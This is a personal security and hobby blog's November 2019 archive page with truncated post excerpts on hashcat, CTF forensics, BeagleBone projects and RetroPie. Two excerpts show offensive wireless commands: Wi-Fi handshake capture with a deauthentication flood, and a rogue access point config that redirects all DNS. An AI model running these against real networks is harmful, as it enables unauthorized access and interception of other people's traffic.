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Month: November 2019

Posted onNovember 25, 2019November 26, 2019Uncategorized

hashcat on AWS

by Jason LeeLeave a comment on hashcat on AWS

Few months ago, I have installed GTX 1060 ti 6GB on desktop PC for using hashcat, but I found out that I rarely used hashcat…

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Posted onNovember 25, 2019Uncategorized

CTF-forensics

by Jason LeeLeave a comment on CTF-forensics

I created 4 forensic challenges for CTF event. These might be interesting for someone who enjoy learning something. Problems 1) What the *uck, where is…

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Posted onNovember 25, 2019November 26, 2019Uncategorized

PRU and PWM – BBB

by Jason LeeLeave a comment on PRU and PWM – BBB

Component 1 x BeagleBone Black 1 x BreadBoard 1 x Blue LED 2 x Button 1 x 330Ω Resistor 2 x 1K Resistor 7 x…

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Posted onNovember 23, 2019Uncategorized

simple blinky – bbb

by Jason LeeLeave a comment on simple blinky – bbb

Connection 10mm LED, 1K Ω Resistor, Breadboard with connection cables P8_2=>GNDP8_10=>LED OUT Code #!/usr/bin/pythonimport Adafruit_BBIO.GPIO as GPIOimport timeGPIO.setup(“P8_10”, GPIO.OUT)while True: GPIO.output(“P8_10”, GPIO.HIGH) time.sleep(0.5) GPIO.output(“P8_10”, GPIO.LOW)…

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Posted onNovember 21, 2019Uncategorized

retropie

by Jason LeeLeave a comment on retropie

As Raspberry 4 is delivering form China, I turned legacy little gadget into retro gamebox just for fun. It could not too complex, but there…

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Posted onNovember 17, 2019November 17, 2019devices

enabling temperature sensor

by Jason LeeLeave a comment on enabling temperature sensor

Connection Connect 3 Pins of DH11 3.3V,  ground and P8_11 headers, for DHT11 sensor initialization by reference of BeagleBone Black’s cape expansion headers information DH11…

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Posted onNovember 14, 2019Uncategorized

Cracking Wi-fi Password (classic)

by Jason LeeLeave a comment on Cracking Wi-fi Password (classic)

Procedure Scanning->Capturing/De-authorization handshake packet->Cracking Scanning #airmon-ng check kill#airmon-ng start wlan0mon#airodump-ng wlan0mon Capturing/De-authorization #airodump-ng –bssid MACADDRESS -c Channel –write DUMPFILE wlanmon0#aireplay-ng –deauth 100 -a MACADDRESS wlanmon0…

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Posted onNovember 12, 2019November 13, 2019Uncategorized

build rogue AP

by Jason LeeLeave a comment on build rogue AP

dnsmasq.conf interface=wlan0mon address=/#/10.10.12.1 dhcp-range=10.10.12.2,10.10.12.254,255.255.255.0,1h dhcp-option=3,10.10.12.1 dhcp-option=6,10.10.12.1 server=8.8.8.8 log-queries log-dhcp listen-address=127.0.0.1 Procedure.sh sudo airmon-ng check kill sudo airmon-ng start wlan0 sudo rghostapd -i “wlan0mon” –ssid “secured”…

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Posted onNovember 12, 2019March 19, 2020Uncategorized

small tips (workaround)

by Jason LeeLeave a comment on small tips (workaround)

When failing apt-get update or upgrade $sudo apt-get install ntpdate $sudo ntpdate -v pool.ntp.org Enabling Promiscuous mode sudo ifconfig eth0 promisc auto starting ssh service…

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